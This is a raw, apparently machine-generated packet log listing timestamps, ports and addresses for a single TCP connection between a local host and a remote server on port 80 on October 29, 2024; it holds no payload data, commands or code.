Oct 29, 2024 20:36:28.805917025 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.805941105 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.805952072 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.805985928 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.805984974 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.805998087 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.806022882 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.806058884 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.806077957 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.806090117 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.806102037 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.806122065 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.806150913 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.806150913 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.806736946 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.806740999 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.806780100 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.806788921 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.806799889 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.806834936 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.806956053 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.806997061 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.807148933 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.807199955 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.807205915 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.807218075 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.807259083 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.807564020 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.807600021 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.807610989 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.807610989 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.807635069 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.807636976 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.807656050 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.807676077 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.838052988 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.838074923 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.838088036 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.838119030 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.838154078 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.838181973 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.838190079 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.838218927 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.838346958 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.838372946 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.838383913 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.838395119 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.838414907 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.851434946 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.851490021 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.851496935 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.851502895 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.851528883 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.851533890 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.851550102 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.851577044 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.851604939 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.851617098 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.851650000 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.851686001 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.851699114 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.851733923 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.892448902 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.892544031 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.892554045 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.892617941 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.892654896 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.924052954 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.924077988 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.924091101 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.924140930 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.924158096 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.924165964 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.924170017 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.924220085 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.924222946 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.924253941 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.924576998 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.924595118 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.924623966 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.924695015 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.924721003 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.924731016 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.924736977 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.924819946 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.924968004 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.925025940 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.925071955 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.925085068 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.925096989 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.925110102 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.925131083 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.925170898 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.925570965 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.925618887 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.925626993 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.925638914 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.925666094 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.925677061 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.925688028 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.925714016 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.925740957 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.956033945 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.956056118 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.956084013 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.956094980 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.956115961 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.956130028 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.956167936 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.956178904 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.956191063 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.956208944 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.956244946 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.956516027 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.956542015 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.956552982 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.956553936 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.956573009 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.956593990 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.969480038 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.969501972 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.969515085 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.969532013 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.969563961 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.969630957 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.969666958 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.969667912 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.969679117 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.969698906 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.969712973 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.969717979 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.969749928 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.970026970 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.970045090 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.970190048 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.010688066 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.010716915 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.010727882 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.010804892 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.010835886 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.042412043 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.042435884 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.042448044 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.042462111 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.042474031 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.042488098 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.042486906 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.042537928 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.042546034 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.042565107 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.042603970 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.042629004 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.042640924 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.042666912 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.042678118 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.042690039 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.042710066 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.042983055 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.043029070 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.043031931 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.043046951 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.043073893 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.043083906 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.043098927 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.043111086 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.043142080 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.043546915 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.043593884 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.043596983 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.043632984 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.043633938 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.043675900 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.043703079 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.043715954 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.043742895 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.043755054 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.043766022 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.043787003 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.043817043 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.074229002 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.074250937 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.074261904 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.074270964 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.074296951 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.074302912 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.074314117 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.074325085 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.074342966 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.074367046 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.074651003 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.074676037 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.074687004 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.074700117 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.074724913 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.087800026 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.087821960 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.087832928 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.087851048 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.087869883 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.088000059 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.088043928 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.088052034 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.088062048 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.088080883 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.088102102 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.088201046 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.088244915 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.088264942 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.088305950 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.088310957 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.088356018 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.088366985 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.088402033 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.149804115 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.149830103 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.149840117 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.149965048 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.160197020 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.160243034 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.160254002 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.160271883 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.160319090 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.160465002 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.160516024 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.160522938 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.160528898 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.160552025 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.160553932 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.160583019 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.160593987 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.160605907 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.160614014 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.160634995 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.160653114 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.161021948 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.161040068 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.161072969 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.161089897 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.161093950 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.161102057 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.161156893 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.161181927 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.161225080 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.161556005 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.161600113 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.161602974 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.161611080 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.161638021 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.161653996 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.161664963 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.161686897 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.161940098 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.161989927 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.161995888 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.162060976 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.162070990 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.162075996 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.162082911 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.162108898 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.162117958 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.192625999 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.192692041 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.192697048 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.192729950 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.192745924 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.192794085 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.192800999 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.192823887 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.192842960 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.192857981 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.193785906 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.193840981 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.193851948 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.193885088 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.193979025 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.205984116 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.205996037 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.206072092 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.206088066 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.206090927 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.206103086 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.206177950 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.206284046 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.206315994 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.206326962 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.206346035 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.206382990 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.206495047 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.206537008 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.206556082 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.206603050 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.268088102 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.268110037 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.268120050 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.268244982 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.268244982 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.278557062 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.278568983 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.278579950 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.278631926 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.278650999 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.278680086 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.278691053 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.278701067 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.278732061 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.278776884 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.278788090 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.278799057 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.278820038 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.278846025 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.278852940 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.278863907 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.278891087 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.278923988 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.279457092 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.279469013 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.279479027 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.279505014 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.279525042 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.279556990 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.279568911 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.279597044 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.279622078 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.279927969 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.279966116 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.279973984 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.279978991 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.279997110 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.280019045 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.280283928 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.280299902 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.280312061 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.280320883 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.280323029 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.280337095 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.280345917 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.280368090 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.280394077 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.280710936 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.280754089 CET	80	49986	185.215.113.16	192.168.2.7
